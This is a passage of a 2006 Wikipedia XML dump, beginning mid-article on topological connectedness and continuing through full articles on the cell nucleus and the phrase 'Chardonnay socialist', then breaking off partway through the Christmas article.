(a,b)={x | a&amp;lt;x&amp;lt;b}  and the half-open intervals &lt;nowiki&gt;[&lt;/nowiki&gt;0,a&lt;nowiki&gt;)&lt;/nowiki&gt;={x | 0&amp;le;x&amp;lt;a}, &lt;nowiki&gt;[&lt;/nowiki&gt;0&amp;#39;,a&lt;nowiki&gt;)&lt;/nowiki&gt;={x | 0&amp;#39;&amp;le;x&amp;lt;a} as a [[base (topology)|base]] for the topology. The resulting space is a [[T1 space|T&lt;sub&gt;1&lt;/sub&gt;]] space but not a [[Hausdorff space]]. Clearly 0 and 0&amp;#39; can be connected by a path but not by an arc in this space.

== Local connectedness ==

A topological space is said to be '''locally connected''' if it has a [[base (topology)|base]] of connected sets.
It can be shown that a space ''X'' is locally connected if and only if every component of every open set of ''X'' is open.
The [[topologist's sine curve]] is an example of a connected space that is not locally connected.

Similarly, a topological space is said to be '''locally path-connected''' if it has a base of path-connected sets.
An open subset of a locally path-connected space is connected if and only if it is path-connected.
This generalizes the earlier statement about '''R'''&lt;sup&gt;''n''&lt;/sup&gt; and '''C'''&lt;sup&gt;''n''&lt;/sup&gt;, each of which is locally path-connected.
More generally, any [[topological manifold]] is locally path-connected.

== Theorems ==

*''Main theorem'': Let ''X'' and ''Y'' be topological spaces and let ''f'' : ''X'' &amp;rarr; ''Y'' be a [[continuous (topology)|continuous function]]. If ''X'' is connected (resp. path-connected) then the [[image (mathematics)|image]] ''f''(''X'') is connected (resp. path-connected). The [[intermediate value theorem]] can be considered as a special case of this result.
*If &lt;math&gt;\{A_1, A_2,\ldots\}&lt;/math&gt; is a family of connected subsets of a topological space ''X'' such that &lt;math&gt; A_i \cap A_{i+1} &lt;/math&gt; is nonempty for all ''i'', then &lt;math&gt; \cup A_i&lt;/math&gt; is also connected.
*If &lt;math&gt;\{A_\alpha\}&lt;/math&gt; is a nonempty family of connected subsets of a topological space ''X'' such that &lt;math&gt; \cap A_\alpha &lt;/math&gt; is nonempty, then &lt;math&gt; \cup A_\alpha&lt;/math&gt; is also connected.
*Every path-connected space is connected.
*Every locally path-connected space is locally connected.
*A locally path-connected space is path-connected [[iff]] it is connected.
*The connected components of a space are disjoint unions of the path-connected components.
*The components of a locally connected space are open (and closed).
*The [[closure (topology)|closure]] of a connected subset is connected.
*Every [[quotient space|quotient]] of a connected (resp. path-connected) space is connected (resp. path-connected).
*Every [[product topology|product]] of a family of connected (resp. path-connected) spaces is connected (resp. path-connected).
*Every open subset of a locally connected (resp. locally path-connected) space is locally connected (resp. locally path-connected).
*Every [[manifold]] is locally path-connected.

== See also ==

*[[uniformly connected space]]
*[[connected component (graph theory)]]
*[[separated sets]]
*[[simply connected]]

==References==
&lt;!-- Tips for referencing:

For websites, use the formatting below (date/year are when you accessed the web page):
{{Web reference | title=Title of page | work=Title of Complete Work | url=http://www.example.com | date=Month Day | year=Year}}


For Books, use:
{{Book reference | Author=Lincoln, Abraham; Grant, U. S.; &amp; Davis, Jefferson | Title=Resolving Family Differences Peacefully | Publisher=Gettysburg: Printing Press | Year=1861 | Editor=Stephen A. Douglas | ID=ISBN 0-12-345678-9}}


For other sources, see: [[WP:CITET]]
--&gt;
{{unreferenced}}

[[Category:General topology]]

[[de:Zusammenhang (Topologie)]]
[[fr:Connexité (mathématiques)]]
[[pl:Przestrzeń spójna]]
[[zh:连通空间]]</text>
    </revision>
  </page>
  <page>
    <title>Cell nucleus</title>
    <id>6235</id>
    <revision>
      <id>41029014</id>
      <timestamp>2006-02-24T16:20:48Z</timestamp>
      <contributor>
        <username>Misza13</username>
        <id>330574</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/24.147.55.79|24.147.55.79]] to last version by Alessandro f2001</comment>
      <text xml:space="preserve">In [[cell biology]], the '''nucleus''' (from [[Latin]] ''nucleus'' or ''nuculeus'', kernel) is found in all [[eukaryote|eukaryotic]] [[cell (biology)|cells]] and contains the [[nuclear gene]]s which form most of the cell's [[genetics|genetic]] material. Nuclei have two primary functions: to control [[chemical reaction]]s within the [[cytoplasm]] and to store [[information]] needed for [[cell division|cellular division]].

Aside from containing the cell's genome, the nucleus contains certain proteins whose interplay is thought to regulate the expression of genes.  [[Gene expression]] at the nuclear level involves complex processes of transcription, pre mRNA processing and the export of the mature mRNA to the cytoplasm.

The nucleus varies in diameter from 11 to 22.25 [[micrometre]]s.  It is enclosed by a double [[membrane]] called the [[nuclear envelope]]. The inner and outer membrane fuse at regular intervals, forming [[nuclear pore]]s. The [[nuclear envelope]] regulates and facilitates transport between the nucleus and the cytoplasm, while separating the chemical reactions taking place in cytoplasm from reactions happening within the nucleus. The outer membrane is continuous with the [[rough endoplasmic reticulum]] (RER) and may be studded with [[ribosome]]s. The space between the two membranes (called the &quot;perinuclear space&quot;) is continuous with the lumen of the RER.  The nuclear face of the nuclear envelope is surrounded by a scaffold of filaments called the [[nuclear lamina]].

[[Image:nucleus_ER.png|thumb|left|300px|Drawing of nucleus and the [[endoplasmic reticulum]].&lt;br&gt;
(1) [[Nuclear envelope]] (2) [[Ribosome]]s (3) [[Nuclear pore]] complexes (4) [[Nucleolus]]
(5) [[Chromatin]] (6) Nucleus (7) [[Endoplasmic reticulum]] (8) [[Nucleoplasm]]&lt;br&gt;
The whole structure is surrounded by cytoplasm. (Drawing is based on ER images.)
]]

Inside the nucleus is one or several [[nucleolus|nucleoli]] surrounded by a matrix called the [[nucleoplasm]]. The nucleoplasm is a liquid with a gel-like consistency (similar in this respect to the [[cytoplasm]]), in which many substances are dissolved. These substances include nucleotide triphosphates, [[enzymes]], [[proteins]], and [[transcription factors]].  There also exists a network of fibers in the nucleoplasm known as the [[nuclear matrix]].

Genetic material ([[DNA]]) is also present in the nucleus, the DNA is present as a DNA-protein complex called [[chromatin]]. The DNA is present as a number of discrete units known as [[chromosome]]s. There are two types of chromatin: euchromatin and heterochromatin. Euchromatin is the least compact form of DNA, and the regions of DNA which constitute euchromatin contain genes which are frequently expressed by the cell. 

In heterochromatin, DNA is more tightly compacted. Regions of DNA which constitute heterochromatin generally contain genes which are not expressed by the cell (this type of heterochromatin is known as facultative heterochromatin) or are regions which make up the [[telomere]]s and [[centromere]]s of the [[chromosomes]] (this type of heterochromatin is known as constitutive heterochromatin). In multicellular organisms, cells are highly specialised to perform particular functions, hence different sets of genes are required and expressed. Therefore, the regions of DNA that constitute heterochromatin vary between cell types.

== Nucleoli (Nucleolus) ==
Nucleoli are densely-stained structures in the nucleus where [[ribosome]] subunits are assembled. 


{{organelles}}
[[Category:Organelles]]
[[Category:Medical terms]]


[[ar:نواة (خلية)]]
[[cs:Buněčné jádro]]
[[da:Cellekerne]]
[[de:Zellkern]]
[[es:Núcleo celular]]
[[eo:Ĉelkerno]]
[[fr:Noyau (biologie)]]
[[is:Frumukjarni]]
[[it:Nucleo cellulare]]
[[he:גרעין התא]]
[[lt:Ląstelės branduolys]]
[[lb:Zellkär]]
[[mk:Клеточно јадро]]
[[ms:Nukleus]]
[[nl:Celkern]]
[[ja:細胞核]]
[[ko:세포핵]]
[[pl:Jądro komórkowe]]
[[pt:Núcleo celular]]
[[sk:Bunkové jadro]]
[[fi:Tuma]]
[[sv:Cellkärna]]
[[tr:Hücre çekirdeği]]
[[zh:细胞核]]
[[sr:Једро]]</text>
    </revision>
  </page>
  <page>
    <title>Chardonnay socialist</title>
    <id>6236</id>
    <revision>
      <id>41418662</id>
      <timestamp>2006-02-27T04:48:23Z</timestamp>
      <contributor>
        <username>GilliamJF</username>
        <id>506179</id>
      </contributor>
      <comment>dab welfare</comment>
      <text xml:space="preserve">'''Chardonnay socialist''' is a derogatory [[Australasia|Australasian]] term used to describe those on the political [[Left-wing_politics|left]] with comfortable [[middle-class]] (or better) incomes, [[tertiary education]], and a taste for the finer things in life. ([[Chardonnay]] is a style of white [[wine]].)

It is similar in thrust to the [[United States| America]]n term [[limousine liberal]], though without quite the same taint of great [[wealth]] attaching to it.

The term &quot;chardonnay socialist&quot; is regularly used by people from throughout the  political spectrum to criticise opponents. For example, Australian left-wing &quot;true believers&quot; levelled it at supporters of the [[Australian Constitutional History|failed republic referendum]] of [[1999]] (where the vote was split not along conventional party lines but very much along socio-economic divides, with the rich overwhelmingly supporting the change while the less well-off were opposed &amp;ndash; a superficially bizarre pattern for a non-economic issue). Staunch Australian [[right-wing]]ers, on the other hand, level it at those who support such things as government funding for the [[art|arts]], free tertiary education, and the [[Australian Broadcasting Corporation|ABC]] &amp;ndash; all causes which are described by critics as &quot;middle-class [[welfare (financial aid)|welfare]]&quot;.

The older term for this or a similar kind of person was &quot;salon communist;&quot; it survives in a few places such as [http://www.jewishgen.org/Yizkor/przemysl/prz286.html].
==See also==
*[[Champagne socialist]]
*[[Gauche caviar]] ([[France]])
*[[Left-wing politics]]
*[[Liberal elite]]
*[http://users.cyberone.com.au/myers/wittfogel2.html Salon bolshevik]


[[Category:Politics of Australia]]
[[Category:Pejorative political terms]]
[[category:Pejorative terms for people]]</text>
    </revision>
  </page>
  <page>
    <title>Christmas</title>
    <id>6237</id>
    <restrictions>move=autoconfirmed</restrictions>
    <revision>
      <id>42123452</id>
      <timestamp>2006-03-03T23:49:46Z</timestamp>
      <contributor>
        <username>Chooserr</username>
        <id>317628</id>
      </contributor>
      <text xml:space="preserve">{{Infobox Holiday |
|holiday_name=Christmas
|image=WiseMenAdorationMurillo.png
|caption=[[Three Wise Men|Wise Men]] visiting [[Jesus]] on [[Twelfth Night (holiday)|Twelfth Night]] after his birth on Christmas in [[Bartolomé Estéban Murillo|Bartolomé Estéban Murillo's]] ''[[Adoration of the Magi]]''.
|color1=white
|color2=white
|color3=white
|nickname=Christ's Mass, [[Xmas|X-mas]]
|observedby=most [[Christian]]s, although many non-Christians around the world observe secular practices
|date=[[December 25]] or [[January 7]] ([[Eastern Orthodox]])
|observances=Religious services, Gift-giving, Family meetings, Decorating trees
|type=Religious, International
|significance=Traditional birthday of [[Jesus]]
|relatedto=[[Advent]], which precedes Christmas, [[Good Friday]] and [[Easter]], which commemorate the death of [[Jesus]], and the period between the day after [[Thanksgiving]] and the Sunday after [[New Year's Day]], which is the North American holiday season}}

'''Christmas''' (literally, the [[Mass (liturgy)|Mass]] of [[Jesus|Christ]]) is a traditional  [[holiday]] commonly observed  on [[25 December]]. In most [[Eastern Christianity|Eastern Orthodox Churches]], even where the civil calendar used is the [[Gregorian calendar|Gregorian]], the event is observed according to the [[Julian calendar]], which coincides with the predominant reckoning of [[7 January]]. It is celebrated by most [[Christianity|Christians]] to mark the [[Virgin birth|birth]] of [[Jesus]], which is believed to have occurred in [[Bethlehem]] in the Roman Province of [[Judea]] between [[6 BC]] and AD [[6]].
Christ's birth, or [[nativity]], was said by his followers to fulfill the prophecies of [[Judaism]] that a [[messiah]] would come, from the house of [[David]], to redeem the world from sin. Efforts to decide upon a date on which to celebrate his birth began some centuries later. 

The word ''Christmas'' is a contraction of ''Christ's Mass'', derived from the [[Old English]] ''Cristes mæsse''. It is often abbreviated ''[[Xmas]]'', probably because ''X'' resembles the [[Greek language|Greek]] letter [[Chi (letter)|&amp;Chi;]] (chi) which has often historically been used as an abbreviation for Christ (Χριστός in Greek).

Christmas has acquired many secular aspects, which are sometimes celebrated as often&amp;mdash;or more&amp;mdash;than the birth of Jesus.  Many Christmas traditions originated with pre-Christian observances that were [[Syncretism|syncretised]] into Christianity. Examples of this process are the northern European [[Yule]], and  the [[Winter solstice|Winter Solstice]] celebration found in many older as well as recent pagan celebrations.

In Western countries, Christmas has become the most economically significant holiday of the year. It is largely characterized by gifts being exchanged between friends and family members, and the appearance of [[Santa Claus]]. Various local and regional Christmas traditions are still practised, despite the widespread influence of [[United States|American]] and [[United Kingdom|British]] Christmas motifs disseminated by [[globalization]], popular literature, television, and other media.

==The Nativity==
The story of Christ's birth has been handed down for centuries, based mainly on the Christian [[gospels]] of [[Gospel of Matthew|Matthew]] and [[Gospel of Luke|Luke]]. The gospels of [[Gospel of Mark|Mark]] and [[Gospel of John|John]] do not address the childhood of Jesus, and those of Matthew and Luke highlight different events.

According to Luke, Mary learns from an [[angel]] that the [[Holy Spirit]] has caused her to be with child. Shortly thereafter, she and her husband [[Saint_Joseph|Joseph]] leave their home in [[Nazareth]] to travel about 150 kilometres (90 miles) to Joseph's ancestral home, [[Bethlehem]], to enroll in the [[census]] ordered by the Roman emperor, [[Augustus]]. Finding no room in inns in the town, they set up lodgings in a stable in Bethlehem in [[Judea]]. There Mary gives birth to Jesus. Jesus' being born in Bethlehem fulfills the prophecy of the [[Book of Micah]]. [[Gospel of Luke|Luke's Gospel]] has some references to historic events at this time, saying &quot;In these days the Roman emperor [[Augustus]] ordered to excise a counting of all population in the world&quot; (Lk 2,1), but the only known census was in the year [[Anno Domini|AD]] [[6]].

Matthew's gospel begins by telling the [[genealogy]] and birth of Jesus, and then moves to the coming of the [[Three Wise Men|Wise Men]] from the East to Bethlehem. Matthew mentions no trek to Bethlehem from Nazareth. The wise men, or [[Magi]], first arrive in Jerusalem and report to the king of [[Judea]], [[Herod the Great]], that they have seen a star, now called the [[Star of Bethlehem]], heralding the birth of a king. Further inquiry leads them to Bethlehem of Judea and the home of Mary and Joseph. They present Jesus with treasures of &quot;[[gold]], [[frankincense]], and [[myrrh]]&quot;. While staying the night, the wise men have a dream that contains a divine warning that King Herod has [[murder]]ous designs on the child. Resolving to hinder the ruler, they go home without telling Herod of the success of their mission. Matthew then reports that the family next flees to [[Egypt]] to escape the murderous rampage of Herod, who has decided to have all children of Bethlehem under the age of two killed in order to eliminate any local rivals to his power. After Herod's death, Jesus and his family return from Egypt, but fearing the hostility of the new Judean king (Herod's son [[Herod Archelaus|Archelaus]]) they go instead to Galilee and settle in Nazareth.

Another aspect of Christ's birth which has passed from the gospels into popular lore is the announcement by [[angel]]s to nearby [[shepherd]]s of Jesus's birth. Some Christmas [[carol]]s refer to the shepherds observing a bright star directly over Bethlehem, and following it to the birthplace. The Magi, who Matthew also reports seeing a giant star, have been variously interpreted as wise men or as kings. They are supposed to have come from [[Arabia]] or [[Persia]], where they might have obtained their particular gifts. Through the years [[astronomy|astronomers]] and [[historian]]s have offered conflicting explanations of what combination of traceable [[celestial]] events might explain the appearance of a giant star that had never before been seen.{{ref|Note1}}

==Theories on the origins of Christmas==
Many different dates have been suggested for the celebration of Christmas. The theories for the reason Christmas is celebrated on December 25 are many and varied; none are universally accepted.

From early antiquity, the days following the [[winter solstice]] on [[December 21]] were of particular significance to cultures who worshipped sun gods. These cultures believed that their sun god was born on December 21st, the shortest day of the year, and that the days grew longer as their god aged. Other cultures believed that their deity died on this day, only to return for another cycle.

It is alleged that, according to [[Celtic Mythology]], the sun god was crucified on the winter solstice, and three days later, as the days grew longer again, he rose from the dead. It is said that this was the origin of the [[Celtic cross]], symbolising the crucified sun god, thus making it a few thousand years older than Christianity. Nevertheless, there is no record of the Celts actually ever practicing crucifixion or stories of any crucifixion of a &quot;Celtic Sun God&quot; before 19th century source. Crosses and circles are found worldwide as solar symbol, whether or not a particular culture practiced crucifixion.

The context in which Christianity, and thus Christmas, formed was during the Roman Empire. The [[Ancient Rome|Romans]] honored [[Saturn (mythology)|Saturn]], the ancient god of agriculture, each year beginning on [[December 17]]. In a festival called [[Saturnalia]], they glorified past days when the god Saturn ruled. This festival lasted for seven days and included the [[winter solstice]], which according to the [[Julian calendar]], fell on [[December 25]]. During Saturnalia the Romans feasted, postponed all business and warfare, exchanged gifts, and temporarily freed their slaves. Such traditions resemble those of Christmas and are used to establish a link between the two holidays. These and other winter festivities continued through [[January 1]], the festival of [[Kalends]], when Romans marked the day of the [[new moon]] and the first day of the month as well as the beginning of the religious year. As [[Isaac Asimov]] comments in his ''Guide to the Bible'', &quot;[C]onverts could join Christianity without giving up their Saturnalian happiness. It was only necessary for them to joyfully greet the birth of the Son rather than the Sun.&quot;  

According to the ''[[Catholic Encyclopedia]]'', Christmas is not included in Irenaeus's nor Tertullian's list of Christian feasts, the earliest known lists of Christian feasts. The earliest evidence of celebration is from [[Alexandria]], in about 200, when [[Clement of Alexandria]]  says that certain [[Egyptian]] theologians &quot;over curiously&quot; assign not just the year but also the actual day of Christ's birth as 25 Pachon ([[May 20]]) in the twenty-eighth year of Augustus.{{ref|Note4}} By the time of the [[Council of Nicaea]] in 325, the Alexandrian church had fixed a ''dies Nativitatis et Epiphaniae''. The December feast reached Egypt in the fifth century. In Jerusalem, the fourth century [[pilgrim]] [[Egeria (nun)|Egeria]] from [[Bordeaux]] witnessed the Feast of the Presentation, forty days after [[January 6]], which must have been the date of the Nativity there. At [[Antioch]], probably in 386, St. [[John Chrysostom]] urged the community to unite in celebrating Christ's birth on [[December 25]], a part of the community having already kept it on that day for at least ten years.

In the [[Roman Empire]], the celebrations of [[Saturn]] during the week of the solstice, with their climax on December 25th, were the main social event. In order to make it easier for the Romans to convert to Christianity without missing out on their festivities, [[Pope Julius I]] ordered in 350 that the birth of Christ be celebrated on the same date.

Some scholars maintain that [[December 25]] was only adopted in the 4th century as a Christian holiday after [[Constantine I (emperor)|Roman Emperor Constantine]] converted to Christianity to encourage a common religious festival for both Christians and [[Paganism|pagans]]. Perusal of historical records indicates that the first mention of such a feast in Constantinople was not until 379, under [[Gregory Nazianzus]]. In Rome, it can only be confirmed as being mentioned in a document from approximately 350 but without any mention of sanction by Emperor Constantine.

An alternative theory asserts that the date of Christmas is based on the date of [[Good Friday]], the day Jesus died. Since the exact date of Jesus' death is not stated in the Gospels, early Christians sought to calculate it, and arrived at either [[March 25]] or [[April 6]]. To then calculate the date of Jesus' birth, they followed the ancient idea that Old Testament prophets died at an &quot;integral age&quot; — either an anniversary of their birth or of their conception. They reasoned that Jesus died on an anniversary of the Incarnation (his conception), so the date of his birth would have been nine months after the date of Good Friday — either December 25 or January 6. Thus, rather than the date of Christmas being appropriated from pagans by Christians, the opposite is held to have occurred. [See Duchesne (1902) and Talley (1986).] 

Another extremely popular cult of Persian origin, in those days was that of [[mitra|Mithras]]. The similarities between Jesus and Mithras are many. Mithras was born on December 25th of virgin birth, the son of the primary Persian deity, Ahura-Mazda. His birth was witnessed by shepherds and magi. He was reputed to have raised the dead, healed the sick and cast out demons. He had a Lord's Supper. His day of worship was Sunday. He was killed and resurrected, returned to heaven on the spring equinox after a last meal with his 12 disciples (representing the signs of the zodiac), eating &quot;mizd&quot; - a piece of bread marked with a cross (an almost universal symbol of the sun). The Mithraic cult peaked around the year 300 AD when it became the official religion of the empire. At that time, in every town and city, in every military garrison and outpost from Syria to the Scottish frontier, was to be found a Mithraeum and officiating priests of the cult. This is not to suggest that the Mithraic cult was the only factor in this syncretization, many pagan gods had similar aspects of mythology (e.g. resurrection, virgin mother etc).

Early Christians chiefly celebrated the [[Epiphany (feast)|Epiphany]], when the baby Jesus was visited by the [[Magi]] (and this is still a primary time for celebration in [[Argentina]], [[Spain]] and [[Armenia]]). Historians are unsure exactly when Christians first began celebrating the [[Nativity of Christ]]. At times it was forbidden by [[Protestant]] churches until after the 1800s because of its association with Catholicism.

Some Christmas traditions, particularly those in [[Scandinavia]], have their origin in the Germanic [[Yule]] celebration. Christmas is still known as ''Yule'' (or: Jul) in Scandinavian countries.

===When was the original Christmas?===
{{seealso|Chronology of Jesus}}

According to one tradition, Jesus was born during [[Hanukkah]] (25 [[Kislev]] into the beginning of [[Tevet]]). Under the old [[Julian calendar]], the popular choice of [[5 BC]] for the year of Jesus' birth would place 25 Kislev at [[November 25]].

Early Christians sought to calculate the date of Christ's birth based on the idea that [[Old Testament]] [[prophet]]s died either on an anniversary of their birth or of their conception. They reasoned that Jesus died on an anniversary of his conception, so the date of his birth was nine months after the date of Good Friday, either [[December 25]] or [[January 6]]. &lt;!--The celebration of solstice is much older than 2,000 years; it certainly wasn't taken from the Christians.--&gt;

[[Hippolytus (writer)|St. Hippolytus]], who was already knowledgeably defending the faith in writing at the start of the third century, said that Christ was born Wednesday, [[December 25]], in the 42nd year of [[Augustus]]' reign (see his ''Commentary on Daniel'', circa 204, Bk. 4, Ch. 23).

Additional calculations are made based on the six-year [[almanac]] of [[priest]]ly [[Job rotation|rotations]], found among the [[Dead Sea Scrolls]]. Some believe that this almanac lists the week when [[John the Baptist]]'s father served as a [[high priest]]. As it is implied that John the Baptist could only have been conceived during that particular week, and as his conception is believed to be tied to that of Jesus, it is claimed that an approximate date of [[December 25]] can be arrived at for the birth of Jesus. However, most scholars (e.g. ''[[Catholic Encyclopedia]]'' in sources) believe this calculation to be unreliable as it is based on a string of assumptions.

The apparition of the angel [[Gabriel]] to [[Zacharias|Zechariah]], announcing that he was to be the father of [[John the Baptist]], was believed to have occurred on [[Yom Kippur]]. This was due to a belief (not included in the [[Gospel]] account) that Zechariah was a high priest and that his vision occurred during the high priest's annual entry into the [[Holy of Holies]]. If John's conception occurred on Yom Kippur in late September, then his birth would have been in late June. If John's birth was on the date ascribed by tradition, [[June 24]], then the [[Annunciation]] to the [[Blessed Virgin Mary]], said by the Gospel account to have occurred three month's before John's birth, would have been in late March. (Tradition fixed it on [[March 25]].) The birth of Jesus would then have been on [[December 25]], nine months after his conception. As with the previous theory, proponents of this theory hold that Christmas was a date of significance to Christians before it was a date of significance to pagans.

==Dates of celebration==
[[Image:Christmas.house.arp.750pix.jpg|thumbnail|250px|right|A house decorated for Christmas in Yate, England]]

Christmas is now celebrated on [[December 25]] in Roman Catholic, [[Protestant]], and some Eastern Orthodox churches, such as the Greek, Bulgarian and Romanian Orthodox Church. The majority of [[Eastern Orthodox]] churches celebrate Christmas on [[January 7]]. This date results from their having accepted neither the reforms of the [[Gregorian calendar]] nor the [[Revised Julian calendar]], with their ecclesiastic [[December 25]] thus falling on the secular date of [[January 7]] from 1900 to 2099. This calendrical difference has led to confusion on the part of those unfamiliar with the older calendar. The Orthodox churches begin preparing for Christmas with a fast that begins 40 days before Christmas and ends with Christmas, dubbed the &quot;Feast of the Nativity of our Lord, God, and Saviour Jesus Christ.&quot;  In the U.S. and Canada, some Orthodox dioceses allow the parish priest or parish to decide which of the two calendars (i.e., Gregorian versus old Julian) to follow at the parish level and hence the timing of Christmas Day.

Dates for the more secular aspects of the Christmas celebration are similarly varied. In the [[United Kingdom]], the [[Christmas season]] traditionally runs for twelve days beginning on [[Christmas Day]]. These [[twelve days of Christmas]], a period of feasting and merrymaking, end on [[Twelfth Night (holiday)|Twelfth Night]], the eve of the Feast of the [[Epiphany (feast)|Epiphany]]. This period corresponds with the [[liturgy|liturgical season]] of Christmas. [[Medieval]] laws in [[Sweden]] declared a Christmas peace (''julefrid'') to be twenty days, during which fines for [[robbery]] and [[manslaughter]] were doubled. Swedish children still celebrate a party, throwing out the [[Christmas tree]] (''julgransplundring''), on the 20th day of Christmas ([[January 13]], [[Knut]]'s Day).

In practice, the Christmas festive period has grown longer in some countries, including the [[United States]] and the United Kingdom, and now begins many weeks before Christmas, allowing more time for shopping and get-togethers. It often extends beyond Christmas Day up to [[New Year's Day]], this later holiday having its own parties. In the [[Philippines]], radio stations usually start playing Christmas music during what is called the &quot;-ber months&quot; (September, October, etc.); this usually marks the start of the Christmas season.

Countries that celebrate Christmas on [[December 25]] recognize the previous day as [[Christmas Eve]], and vary on the naming of [[December 26]]. In the [[Netherlands]], [[Germany]], [[Scandinavia]], [[Lithuania]] and [[Poland]], Christmas Day and the following day are called First and Second Christmas Day. In many [[Europe]]an and [[Commonwealth of Nations|Commonwealth]] countries, [[December 26]] is referred to as [[Boxing Day]], while in [[Finland]], [[Ireland]], [[Italy]], [[Romania]], [[Austria]] and [[Catalonia]] ([[Spain]]) it is known as [[St. Stephen's Day]].  In [[Canadian French]], the December 26 holiday is generally referred to as ''Lendemain de Noël'' (which literally means &quot;the day after Christmas&quot;).

==Regional customs and celebrations==
{{main|Christmas worldwide}}
[[Image:wiki_christmas.JPG|thumb|left|Many postal services release [[Postage stamp|stamps]] each year to commemorate Christmas. This one is from [[Austria]] and was produced in 1999]]
A plethora of customs with secular, religious, or national aspects surround Christmas, varying from country to country. Most of the familiar traditional practices and symbols of Christmas originated in Germanic countries, including the now omnipresent [[Christmas tree]], the [[Christmas ham]], the [[Yule Log]], [[holly]], [[mistletoe]], and the giving of [[presents]] to friends and relatives. These practices and symbols were adapted or appropriated by Christian [[missionaries]] from the earlier [[Germanic paganism| Germanic pagan]] midwinter holiday of [[Yule]]. This celebration of the [[winter solstice]] was widespread and popular in northern Europe long before the arrival of Christianity, and the word for Christmas in the Scandinavian languages is still today the pagan ''jul'' (=yule).

Rather than attempting to suppress every pagan tradition, [[Pope]] [[Gregory I]] allowed Christian missionaries to synthesize them with Christianity, allowing many pagan traditions to become a part of Christmas.{{ref|Note2}}

The dynamic relationship between religious and governmental authorities and celebrators of Christmas continued through the years. Places where conservative Christian [[theocracy|theocracies]] flourished, as in [[Oliver Cromwell|Cromwellian England]] and in the early [[New England]] [[Thirteen Colonies|colonies]], were among those where celebrations were suppressed.{{ref|Note3}} After the [[Russian Revolution of 1917|Russian Revolution]], Christmas celebrations were banned in the [[Soviet Union]] for the next seventy-five years.

Several Christian denominations, notably the [[Jehovah's Witnesses]], some [[Puritan]] groups, and some [[fundamentalist Christian]]s, view Christmas as a pagan holiday not sanctioned by the [[Bible]] and refuse to celebrate or recognize it in any way. Incidentally, this was the practice of the Puritans in 17th and 18th Century England and the American Colonies. Christmas was not widely celebrated in New England until after the middle of the [[19th Century]].

In [[Commonwealth]] countries in the [[southern hemisphere]], Christmas is still celebrated on 25 December, despite this being the height of their summer season. This clashes with the traditional winter iconography, resulting in anachronisms such as a red fur-coated Santa Claus surfing in for a turkey barbecue on [[Australia]]'s [[Bondi Beach]]. [[Japan]] has largely adopted the western Santa Claus for its secular Christmas celebration, but their [[New Year's Day]] is considered the more important holiday. Christmas is also known as ''bada din'' (the big day) in [[Hindi]], and revolves there around Santa Claus and shopping. In [[South Korea]], Christmas is celebrated as an official holiday.

===Religious customs and celebrations===
The religious celebrations begin with [[Advent]], the anticipation of Christ's birth, around the start of December. (In most western churches, Advent starts the 4th Sunday before Christmas Day, and thus can last for 21 to 28 days.) These observations may include Advent carols and Advent calendars, sometimes containing sweets and chocolate for children. Christmas Eve and Christmas Day services may include a [[midnight mass]] or a [[Mass (liturgy)|Mass]] of the [[Nativity]], and feature [[Christmas carol]]s and hymns.

===Secular customs===
Christmas customs and traditions transmitted through mass culture have been adopted by Christians and non-Christians alike, particularly in North America.

[[Image:DSC04820.JPG|thumb|250px|right|A Christmas display in a Brazilian shopping mall]]
Since the customs of Christmas celebration largely evolved in [[northern Europe]], many are associated with the [[Northern Hemisphere]] winter, the motifs of which are prominent in Christmas decorations and in [[Santa Claus]] stories.

===Santa Claus and other bringers of gifts===
Gift-giving is a near-universal part of Christmas celebrations. The concept of a mythical figure who brings gifts to children derives from [[Saint Nicholas]], a [[bishop]] of [[Myra]] in [[fourth century]] Lycia, [[Asia Minor]]. He made a pilgrimage to Egypt and Palestine in his youth and soon thereafter became Bishop of Myra. He was imprisoned during the persecution of Diocletian and released after the accession of Constantine. He may have been present at the Council of Nicaea, though there is no record of his attendance. He died on [[December 6]] of 345 or 352. In 1087, Italian merchants stole his deceased body at Myra and brought it to Bari in Italy. His relics are still preserved in the church of San Nicola in Bari. To this day, an oily substance known as Manna di S. Nicola, which is highly valued for its medicinal powers, is said to flow from his relics. (Catholic Encyclopedia - http://www.newadvent.org/cathen/11063b.htm)

The [[the Netherlands|Dutch]] modeled a gift-giving [[Saint Nicholas]] on the eve of his feast day on [[December 6]]. In [[North America]], other colonists adopted the feast of [[Sinterklaas]] brought by the Dutch into their Christmas holiday, and Sinterklaas became [[Santa Claus]], or ''Saint Nick'', known in some West African and the UK countries as Father Christmas. In the Anglo-American tradition, this jovial fellow arrives on Christmas Eve on a [[sleigh]] pulled by [[reindeer]], and lands on the roofs of houses. He then climbs down the [[chimney]], leaves gifts for the children, and eats the food they leave for him. He spends the rest of the year making toys and keeping lists on the behaviour of the children.

One belief in the United Kingdom, United States, and other countries passed down through the generations is the idea of lists of good children and bad children. Throughout the year, Santa adds names of children to either the good or bad list depending on their behaviour. When it gets closer to Christmas time, parents use the belief to encourage children to behave well. Those who are on the bad list and whose behaviour has not improved before Christmas are said to receive a [[booby prize]], such as a piece of coal or a [[Switch (rod)|switch]] with which their parents beat them, rather than presents.

The [[French language|French]] equivalent of Santa, [[Père Noël]], evolved along similar lines, eventually adopting the Santa image [[Haddon Sundblom]] painted for a worldwide [[Coca-Cola]] advertising campaign in the 1930s. In some cultures Santa Claus is accompanied by [[Knecht Ruprecht]], or [[Black Peter]]. In some versions, [[elf|elves]] in a toy workshop make the holiday toys, and in some he is married to [[Mrs. Claus]]. Many [[shopping mall]]s in [[North America]], the United Kingdom, and [[Australia]] have a holiday mall Santa Claus whom children can visit to ask for presents.

[[Image:Jolly-old-saint-nick.gif|left|framed|A classic image of Saint Nick]]
In many countries, children leave empty containers for Santa to fill with small gifts such as toys, candy, or fruit. In the United Kingdom, the United States, and [[Canada]] children hang a [[Christmas stocking]] by the fireplace on Christmas Eve because Santa is said to come down the chimney the night before Christmas to fill them. In other countries, children place their empty shoes out for Santa to fill on the night before Christmas, or for Saint Nicholas to fill on [[December 5]] before his feast day the next day. Gift giving is not restricted to these special gift-bringers, as family members and friends also bestow gifts on each other.

====Timing of gifts====
